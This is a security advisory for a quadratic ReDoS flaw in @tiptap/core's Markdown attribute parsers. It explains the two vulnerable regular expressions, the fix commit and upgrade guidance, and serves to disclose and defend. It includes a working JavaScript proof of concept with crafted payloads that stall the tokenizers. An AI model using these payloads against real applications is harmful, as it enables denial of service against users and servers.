@tiptap/core Quadratic ReDoS in Markdown Attribute Parsing
Two regular expressions in @tiptap/core's Markdown parsers have quadratic backtracking behavior, letting an attacker freeze a browser tab or stall a Node.js server with a few kilobytes of crafted…

The problem
Versions 3.7.0 through 3.29.2 of @tiptap/core ship two vulnerable Markdown attribute parsers. The block-attribute parser in attributeUtils.ts uses /([a-zA-Z][\w-]*)\s*=\s*(__QUOTED_\d+__)/g without anchoring. The inline shortcode parser in createInlineMarkdownSpec.ts uses /(\w+)=(?:"([^"]*)"|'([^']*)')/g, also unanchored.
Both expressions are called on attacker-controlled strings. At 20 KB of crafted input, the block tokenizer takes ~1.4 seconds. At 32 KB, the inline tokenizer takes ~2.2 seconds. Because backtracking is quadratic, doubling the input roughly quadruples the parse time, making denial of service practical with small payloads.
Proof of concept
A working proof-of-concept for this issue in @tiptap/core, with the exact payload below.
// Block (atom-block) attack — freezes the tokenizer
import { createAtomBlockMarkdownSpec } from '@tiptap/core'
const tokenizer = createAtomBlockMarkdownSpec({ nodeName: 'probe' }).markdownTokenizer
const attack = '__QUOTED_0'.repeat(2048) + '__QUOTED_0__'
const source = `:::probe {${attack}} :::\n`
const t0 = performance.now()
tokenizer.tokenize(source, [], {})
console.log('block ms:', performance.now() - t0) // ~1 400 ms at 20 508 bytes
// Inline shortcode attack — freezes the tokenizer
import { createInlineMarkdownSpec } from '@tiptap/core'
const inline = createInlineMarkdownSpec({ nodeName: 'probe', selfClosing: true }).markdownTokenizer
const src2 = `[probe ${'0'.repeat(32768)}]`
const t1 = performance.now()
inline.tokenize(src2, [], {})
console.log('inline ms:', performance.now() - t1) // ~2 200 ms at 32 776 bytesFor the block parser, the greedy key pattern [a-zA-Z][\w-]* consumes the entire remaining word-character run at each position. When no = follows, the unanchored engine restarts one character later and repeats the scan, producing O(n^2) work across the repeated __QUOTED_0 prefix string.
For the inline parser, \w+ does the same thing: it eats the entire suffix, = fails, and the engine restarts one character forward, again quadratic.
The fix (commit d0d499be3cce633cf54ca9aa9f3d8a5a1f98bd74) adds start-of-string or whitespace boundary anchors before both key-value patterns so the engine cannot restart mid-string, reducing complexity from O(n^2) to O(n). This is CWE-1333 (Inefficient Regular Expression Complexity) and CWE-400 (Uncontrolled Resource Consumption).
The fix
Upgrade @tiptap/core to **3.30.5** or later. The fix is in commit d0d499be3cce633cf54ca9aa9f3d8a5a1f98bd74. If you cannot upgrade immediately, avoid passing attacker-controlled Markdown through createAtomBlockMarkdownSpec, createBlockMarkdownSpec, or createInlineMarkdownSpec.
Editors that consume only validated ProseMirror JSON and never invoke the Markdown parsing path are not affected.
Reported by joostgrunwald.
Related research
- highCVE-2026-83619CVE-2026-83619: @xmldom/xmldom End-Tag Whitespace ReDoS
- highCVE-2026-83606CVE-2026-83606: @xmldom/xmldom Processing Instruction ReDoS
- high · 7.5CVE-2026-49293CVE-2026-49293: js-toml CPU Exhaustion via Quadratic BigInt Parsing
- highCVE-2026-83614CVE-2026-83614: @xmldom/xmldom Quadratic-Time Parsing ReDoS (DoS)